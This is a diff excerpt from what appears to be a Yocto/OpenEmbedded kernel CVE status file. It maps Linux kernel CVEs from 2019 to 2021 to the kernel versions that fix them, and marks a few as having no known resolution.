+CVE_STATUS[CVE-2019-19070] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19071] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19072] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19073] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19074] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19075] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-19076] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19077] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19078] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19079] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-19080] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19081] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19082] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19083] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-19227] = "fixed-version: Fixed from version 5.1rc3"
+
+CVE_STATUS[CVE-2019-19241] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19252] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19318] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19319] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-19332] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19338] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19377] = "fixed-version: Fixed from version 5.7rc1"
+
+# CVE-2019-19378 has no known resolution
+
+CVE_STATUS[CVE-2019-19447] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19448] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2019-19449] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2019-19462] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2019-19523] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19524] = "fixed-version: Fixed from version 5.4rc8"
+
+CVE_STATUS[CVE-2019-19525] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-19526] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-19527] = "fixed-version: Fixed from version 5.3rc4"
+
+CVE_STATUS[CVE-2019-19528] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19529] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-19530] = "fixed-version: Fixed from version 5.3rc5"
+
+CVE_STATUS[CVE-2019-19531] = "fixed-version: Fixed from version 5.3rc4"
+
+CVE_STATUS[CVE-2019-19532] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-19533] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19534] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-19535] = "fixed-version: Fixed from version 5.3rc4"
+
+CVE_STATUS[CVE-2019-19536] = "fixed-version: Fixed from version 5.3rc4"
+
+CVE_STATUS[CVE-2019-19537] = "fixed-version: Fixed from version 5.3rc5"
+
+CVE_STATUS[CVE-2019-19543] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-19602] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19767] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19768] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2019-19769] = "fixed-version: Fixed from version 5.6rc5"
+
+CVE_STATUS[CVE-2019-19770] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2019-19807] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-19813] = "fixed-version: Fixed from version 5.2rc1"
+
+# CVE-2019-19814 has no known resolution
+
+CVE_STATUS[CVE-2019-19815] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-19816] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-19922] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19927] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-19947] = "fixed-version: Fixed from version 5.5rc3"
+
+CVE_STATUS[CVE-2019-19965] = "fixed-version: Fixed from version 5.5rc2"
+
+CVE_STATUS[CVE-2019-19966] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-1999] = "fixed-version: Fixed from version 5.1rc3"
+
+CVE_STATUS[CVE-2019-20054] = "fixed-version: Fixed from version 5.1rc3"
+
+CVE_STATUS[CVE-2019-20095] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-20096] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-2024] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2019-2025] = "fixed-version: Fixed from version 4.20rc5"
+
+CVE_STATUS[CVE-2019-20422] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-2054] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2019-20636] = "fixed-version: Fixed from version 5.5rc6"
+
+# CVE-2019-20794 has no known resolution
+
+CVE_STATUS[CVE-2019-20806] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-20810] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2019-20811] = "fixed-version: Fixed from version 5.1rc3"
+
+CVE_STATUS[CVE-2019-20812] = "fixed-version: Fixed from version 5.5rc3"
+
+CVE_STATUS[CVE-2019-20908] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-20934] = "fixed-version: Fixed from version 5.3rc2"
+
+CVE_STATUS[CVE-2019-2101] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-2181] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-2182] = "fixed-version: Fixed from version 4.16rc3"
+
+CVE_STATUS[CVE-2019-2213] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-2214] = "fixed-version: Fixed from version 5.3rc2"
+
+CVE_STATUS[CVE-2019-2215] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2019-25044] = "fixed-version: Fixed from version 5.2rc4"
+
+CVE_STATUS[CVE-2019-25045] = "fixed-version: Fixed from version 5.1"
+
+CVE_STATUS[CVE-2019-3016] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2019-3459] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-3460] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-3701] = "fixed-version: Fixed from version 5.0rc3"
+
+CVE_STATUS[CVE-2019-3819] = "fixed-version: Fixed from version 5.0rc6"
+
+CVE_STATUS[CVE-2019-3837] = "fixed-version: Fixed from version 3.18rc1"
+
+CVE_STATUS[CVE-2019-3846] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-3874] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-3882] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-3887] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-3892] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-3896] = "fixed-version: Fixed from version 2.6.35rc1"
+
+CVE_STATUS[CVE-2019-3900] = "fixed-version: Fixed from version 5.2rc4"
+
+CVE_STATUS[CVE-2019-3901] = "fixed-version: Fixed from version 4.6rc6"
+
+CVE_STATUS[CVE-2019-5108] = "fixed-version: Fixed from version 5.3"
+
+# Skipping CVE-2019-5489, no affected_versions
+
+CVE_STATUS[CVE-2019-6133] = "fixed-version: Fixed from version 5.0rc2"
+
+CVE_STATUS[CVE-2019-6974] = "fixed-version: Fixed from version 5.0rc6"
+
+CVE_STATUS[CVE-2019-7221] = "fixed-version: Fixed from version 5.0rc6"
+
+CVE_STATUS[CVE-2019-7222] = "fixed-version: Fixed from version 5.0rc6"
+
+CVE_STATUS[CVE-2019-7308] = "fixed-version: Fixed from version 5.0rc3"
+
+CVE_STATUS[CVE-2019-8912] = "fixed-version: Fixed from version 5.0rc8"
+
+CVE_STATUS[CVE-2019-8956] = "fixed-version: Fixed from version 5.0rc6"
+
+CVE_STATUS[CVE-2019-8980] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-9003] = "fixed-version: Fixed from version 5.0rc4"
+
+CVE_STATUS[CVE-2019-9162] = "fixed-version: Fixed from version 5.0rc7"
+
+CVE_STATUS[CVE-2019-9213] = "fixed-version: Fixed from version 5.0"
+
+CVE_STATUS[CVE-2019-9245] = "fixed-version: Fixed from version 5.0rc1"
+
+CVE_STATUS[CVE-2019-9444] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2019-9445] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-9453] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-9454] = "fixed-version: Fixed from version 4.15rc9"
+
+CVE_STATUS[CVE-2019-9455] = "fixed-version: Fixed from version 5.0rc1"
+
+CVE_STATUS[CVE-2019-9456] = "fixed-version: Fixed from version 4.16rc6"
+
+CVE_STATUS[CVE-2019-9457] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2019-9458] = "fixed-version: Fixed from version 4.19rc7"
+
+CVE_STATUS[CVE-2019-9466] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-9500] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-9503] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-9506] = "fixed-version: Fixed from version 5.2"
+
+CVE_STATUS[CVE-2019-9857] = "fixed-version: Fixed from version 5.1rc2"
+
+CVE_STATUS[CVE-2020-0009] = "fixed-version: Fixed from version 5.6rc3"
+
+CVE_STATUS[CVE-2020-0030] = "fixed-version: Fixed from version 4.16rc3"
+
+CVE_STATUS[CVE-2020-0041] = "fixed-version: Fixed from version 5.5rc2"
+
+CVE_STATUS[CVE-2020-0066] = "fixed-version: Fixed from version 4.3rc7"
+
+CVE_STATUS[CVE-2020-0067] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2020-0110] = "fixed-version: Fixed from version 5.6rc2"
+
+CVE_STATUS[CVE-2020-0255] = "fixed-version: Fixed from version 5.7rc4"
+
+CVE_STATUS[CVE-2020-0305] = "fixed-version: Fixed from version 5.5rc6"
+
+# CVE-2020-0347 has no known resolution
+
+CVE_STATUS[CVE-2020-0404] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2020-0423] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-0427] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2020-0429] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2020-0430] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2020-0431] = "fixed-version: Fixed from version 5.5rc6"
+
+CVE_STATUS[CVE-2020-0432] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2020-0433] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2020-0435] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2020-0444] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2020-0465] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-0466] = "fixed-version: Fixed from version 5.9rc2"
+
+CVE_STATUS[CVE-2020-0543] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10135] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10690] = "fixed-version: Fixed from version 5.5rc5"
+
+# CVE-2020-10708 has no known resolution
+
+CVE_STATUS[CVE-2020-10711] = "fixed-version: Fixed from version 5.7rc6"
+
+CVE_STATUS[CVE-2020-10720] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2020-10732] = "fixed-version: Fixed from version 5.7"
+
+CVE_STATUS[CVE-2020-10742] = "fixed-version: Fixed from version 3.16rc1"
+
+CVE_STATUS[CVE-2020-10751] = "fixed-version: Fixed from version 5.7rc4"
+
+CVE_STATUS[CVE-2020-10757] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10766] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10767] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10768] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-10769] = "fixed-version: Fixed from version 5.0rc3"
+
+CVE_STATUS[CVE-2020-10773] = "fixed-version: Fixed from version 5.4rc6"
+
+# CVE-2020-10774 has no known resolution
+
+CVE_STATUS[CVE-2020-10781] = "fixed-version: Fixed from version 5.8rc6"
+
+CVE_STATUS[CVE-2020-10942] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2020-11494] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-11565] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-11608] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-11609] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-11668] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-11669] = "fixed-version: Fixed from version 5.2rc1"
+
+# CVE-2020-11725 has no known resolution
+
+CVE_STATUS[CVE-2020-11884] = "fixed-version: Fixed from version 5.7rc4"
+
+# CVE-2020-11935 has no known resolution
+
+CVE_STATUS[CVE-2020-12114] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2020-12351] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-12352] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-12362] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-12363] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-12364] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-12464] = "fixed-version: Fixed from version 5.7rc3"
+
+CVE_STATUS[CVE-2020-12465] = "fixed-version: Fixed from version 5.6rc6"
+
+CVE_STATUS[CVE-2020-12652] = "fixed-version: Fixed from version 5.5rc7"
+
+CVE_STATUS[CVE-2020-12653] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2020-12654] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2020-12655] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-12656] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-12657] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-12659] = "fixed-version: Fixed from version 5.7rc2"
+
+CVE_STATUS[CVE-2020-12768] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2020-12769] = "fixed-version: Fixed from version 5.5rc6"
+
+CVE_STATUS[CVE-2020-12770] = "fixed-version: Fixed from version 5.7rc3"
+
+CVE_STATUS[CVE-2020-12771] = "fixed-version: Fixed from version 5.8rc2"
+
+CVE_STATUS[CVE-2020-12826] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-12888] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-12912] = "fixed-version: Fixed from version 5.10rc4"
+
+CVE_STATUS[CVE-2020-13143] = "fixed-version: Fixed from version 5.7rc6"
+
+CVE_STATUS[CVE-2020-13974] = "fixed-version: Fixed from version 5.8rc1"
+
+# CVE-2020-14304 has no known resolution
+
+CVE_STATUS[CVE-2020-14305] = "fixed-version: Fixed from version 4.12rc1"
+
+CVE_STATUS[CVE-2020-14314] = "fixed-version: Fixed from version 5.9rc2"
+
+CVE_STATUS[CVE-2020-14331] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2020-14351] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-14353] = "fixed-version: Fixed from version 4.14rc3"
+
+CVE_STATUS[CVE-2020-14356] = "fixed-version: Fixed from version 5.8rc5"
+
+CVE_STATUS[CVE-2020-14381] = "fixed-version: Fixed from version 5.6rc6"
+
+CVE_STATUS[CVE-2020-14385] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-14386] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-14390] = "fixed-version: Fixed from version 5.9rc6"
+
+CVE_STATUS[CVE-2020-14416] = "fixed-version: Fixed from version 5.5"
+
+CVE_STATUS[CVE-2020-15393] = "fixed-version: Fixed from version 5.8rc3"
+
+CVE_STATUS[CVE-2020-15436] = "fixed-version: Fixed from version 5.8rc2"
+
+CVE_STATUS[CVE-2020-15437] = "fixed-version: Fixed from version 5.8rc7"
+
+CVE_STATUS[CVE-2020-15780] = "fixed-version: Fixed from version 5.8rc3"
+
+# CVE-2020-15802 has no known resolution
+
+CVE_STATUS[CVE-2020-15852] = "fixed-version: Fixed from version 5.8rc6"
+
+CVE_STATUS[CVE-2020-16119] = "fixed-version: Fixed from version 5.15rc2"
+
+CVE_STATUS[CVE-2020-16120] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-16166] = "fixed-version: Fixed from version 5.8"
+
+CVE_STATUS[CVE-2020-1749] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2020-24394] = "fixed-version: Fixed from version 5.8rc4"
+
+CVE_STATUS[CVE-2020-24490] = "fixed-version: Fixed from version 5.8"
+
+# CVE-2020-24502 has no known resolution
+
+# CVE-2020-24503 has no known resolution
+
+CVE_STATUS[CVE-2020-24504] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2020-24586] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2020-24587] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2020-24588] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2020-25211] = "fixed-version: Fixed from version 5.9rc7"
+
+CVE_STATUS[CVE-2020-25212] = "fixed-version: Fixed from version 5.9rc1"
+
+# CVE-2020-25220 has no known resolution
+
+CVE_STATUS[CVE-2020-25221] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-25284] = "fixed-version: Fixed from version 5.9rc5"
+
+CVE_STATUS[CVE-2020-25285] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-25639] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2020-25641] = "fixed-version: Fixed from version 5.9rc4"
+
+CVE_STATUS[CVE-2020-25643] = "fixed-version: Fixed from version 5.9rc7"
+
+CVE_STATUS[CVE-2020-25645] = "fixed-version: Fixed from version 5.9rc7"
+
+CVE_STATUS[CVE-2020-25656] = "fixed-version: Fixed from version 5.10rc2"
+
+# CVE-2020-25661 has no known resolution
+
+# CVE-2020-25662 has no known resolution
+
+CVE_STATUS[CVE-2020-25668] = "fixed-version: Fixed from version 5.10rc3"
+
+CVE_STATUS[CVE-2020-25669] = "fixed-version: Fixed from version 5.10rc5"
+
+CVE_STATUS[CVE-2020-25670] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2020-25671] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2020-25672] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2020-25673] = "fixed-version: Fixed from version 5.12rc7"
+
+CVE_STATUS[CVE-2020-25704] = "fixed-version: Fixed from version 5.10rc3"
+
+CVE_STATUS[CVE-2020-25705] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-26088] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2020-26139] = "fixed-version: Fixed from version 5.13rc4"
+
+# CVE-2020-26140 has no known resolution
+
+CVE_STATUS[CVE-2020-26141] = "fixed-version: Fixed from version 5.13rc4"
+
+# CVE-2020-26142 has no known resolution
+
+# CVE-2020-26143 has no known resolution
+
+CVE_STATUS[CVE-2020-26145] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2020-26147] = "fixed-version: Fixed from version 5.13rc4"
+
+CVE_STATUS[CVE-2020-26541] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2020-26555] = "fixed-version: Fixed from version 5.13rc1"
+
+# CVE-2020-26556 has no known resolution
+
+# CVE-2020-26557 has no known resolution
+
+CVE_STATUS[CVE-2020-26558] = "fixed-version: Fixed from version 5.13rc1"
+
+# CVE-2020-26559 has no known resolution
+
+# CVE-2020-26560 has no known resolution
+
+CVE_STATUS[CVE-2020-27066] = "fixed-version: Fixed from version 5.6"
+
+CVE_STATUS[CVE-2020-27067] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2020-27068] = "fixed-version: Fixed from version 5.6rc2"
+
+CVE_STATUS[CVE-2020-27152] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27170] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2020-27171] = "fixed-version: Fixed from version 5.12rc5"
+
+CVE_STATUS[CVE-2020-27194] = "fixed-version: Fixed from version 5.9"
+
+CVE_STATUS[CVE-2020-2732] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2020-27418] = "fixed-version: Fixed from version 5.6rc5"
+
+CVE_STATUS[CVE-2020-27673] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27675] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27777] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27784] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27786] = "fixed-version: Fixed from version 5.7rc6"
+
+CVE_STATUS[CVE-2020-27815] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-27820] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2020-27825] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-27830] = "fixed-version: Fixed from version 5.10rc7"
+
+CVE_STATUS[CVE-2020-27835] = "fixed-version: Fixed from version 5.10rc6"
+
+CVE_STATUS[CVE-2020-28097] = "fixed-version: Fixed from version 5.9rc6"
+
+CVE_STATUS[CVE-2020-28374] = "fixed-version: Fixed from version 5.11rc4"
+
+CVE_STATUS[CVE-2020-28588] = "fixed-version: Fixed from version 5.10rc7"
+
+CVE_STATUS[CVE-2020-28915] = "fixed-version: Fixed from version 5.9"
+
+CVE_STATUS[CVE-2020-28941] = "fixed-version: Fixed from version 5.10rc5"
+
+CVE_STATUS[CVE-2020-28974] = "fixed-version: Fixed from version 5.10rc3"
+
+CVE_STATUS[CVE-2020-29368] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-29369] = "fixed-version: Fixed from version 5.8rc7"
+
+CVE_STATUS[CVE-2020-29370] = "fixed-version: Fixed from version 5.6rc7"
+
+CVE_STATUS[CVE-2020-29371] = "fixed-version: Fixed from version 5.9rc2"
+
+CVE_STATUS[CVE-2020-29372] = "fixed-version: Fixed from version 5.7rc3"
+
+CVE_STATUS[CVE-2020-29373] = "fixed-version: Fixed from version 5.6rc2"
+
+CVE_STATUS[CVE-2020-29374] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-29534] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-29568] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-29569] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-29660] = "fixed-version: Fixed from version 5.10rc7"
+
+CVE_STATUS[CVE-2020-29661] = "fixed-version: Fixed from version 5.10rc7"
+
+CVE_STATUS[CVE-2020-35499] = "fixed-version: Fixed from version 5.11rc1"
+
+# CVE-2020-35501 has no known resolution
+
+CVE_STATUS[CVE-2020-35508] = "fixed-version: Fixed from version 5.10rc3"
+
+CVE_STATUS[CVE-2020-35513] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2020-35519] = "fixed-version: Fixed from version 5.10rc7"
+
+CVE_STATUS[CVE-2020-36158] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-36310] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-36311] = "fixed-version: Fixed from version 5.9rc5"
+
+CVE_STATUS[CVE-2020-36312] = "fixed-version: Fixed from version 5.9rc5"
+
+CVE_STATUS[CVE-2020-36313] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-36322] = "fixed-version: Fixed from version 5.11rc1"
+
+CVE_STATUS[CVE-2020-36385] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2020-36386] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2020-36387] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2020-36516] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2020-36557] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-36558] = "fixed-version: Fixed from version 5.6rc3"
+
+CVE_STATUS[CVE-2020-36691] = "fixed-version: Fixed from version 5.8rc1"
+
+CVE_STATUS[CVE-2020-36694] = "fixed-version: Fixed from version 5.10"
+
+CVE_STATUS[CVE-2020-36766] = "fixed-version: Fixed from version 5.9rc1"
+
+CVE_STATUS[CVE-2020-3702] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2020-4788] = "fixed-version: Fixed from version 5.10rc5"
+
+CVE_STATUS[CVE-2020-7053] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2020-8428] = "fixed-version: Fixed from version 5.5"
+
+CVE_STATUS[CVE-2020-8647] = "fixed-version: Fixed from version 5.6rc5"
+
+CVE_STATUS[CVE-2020-8648] = "fixed-version: Fixed from version 5.6rc3"
+
+CVE_STATUS[CVE-2020-8649] = "fixed-version: Fixed from version 5.6rc5"
+
+CVE_STATUS[CVE-2020-8694] = "fixed-version: Fixed from version 5.10rc4"
+
+# CVE-2020-8832 has no known resolution
+
+CVE_STATUS[CVE-2020-8834] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2020-8835] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2020-8992] = "fixed-version: Fixed from version 5.6rc2"
+
+CVE_STATUS[CVE-2020-9383] = "fixed-version: Fixed from version 5.6rc4"
+
+CVE_STATUS[CVE-2020-9391] = "fixed-version: Fixed from version 5.6rc3"
+
+CVE_STATUS[CVE-2021-0129] = "fixed-version: Fixed from version 5.13rc1"
+
+CVE_STATUS[CVE-2021-0342] = "fixed-version: Fixed from version 5.8rc1"
+
+# CVE-2021-0399 has no known resolution
+
+CVE_STATUS[CVE-2021-0447] = "fixed-version: Fixed from version 4.15rc1"
+
+CVE_STATUS[CVE-2021-0448] = "fixed-version: Fixed from version 5.9rc7"
+
+CVE_STATUS[CVE-2021-0512] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2021-0605] = "fixed-version: Fixed from version 5.8"
+
+# CVE-2021-0606 has no known resolution
+
+# CVE-2021-0695 has no known resolution
+
+CVE_STATUS[CVE-2021-0707] = "fixed-version: Fixed from version 5.11rc3"
+
+CVE_STATUS[CVE-2021-0920] = "fixed-version: Fixed from version 5.14rc4"
+
+# CVE-2021-0924 has no known resolution
+
+CVE_STATUS[CVE-2021-0929] = "fixed-version: Fixed from version 5.6rc1"
+
+CVE_STATUS[CVE-2021-0935] = "fixed-version: Fixed from version 4.16rc7"
+
+# CVE-2021-0936 has no known resolution
+
+CVE_STATUS[CVE-2021-0937] = "fixed-version: Fixed from version 5.12rc8"
+
+CVE_STATUS[CVE-2021-0938] = "fixed-version: Fixed from version 5.10rc4"
+
+CVE_STATUS[CVE-2021-0941] = "fixed-version: Fixed from version 5.12rc1"
+
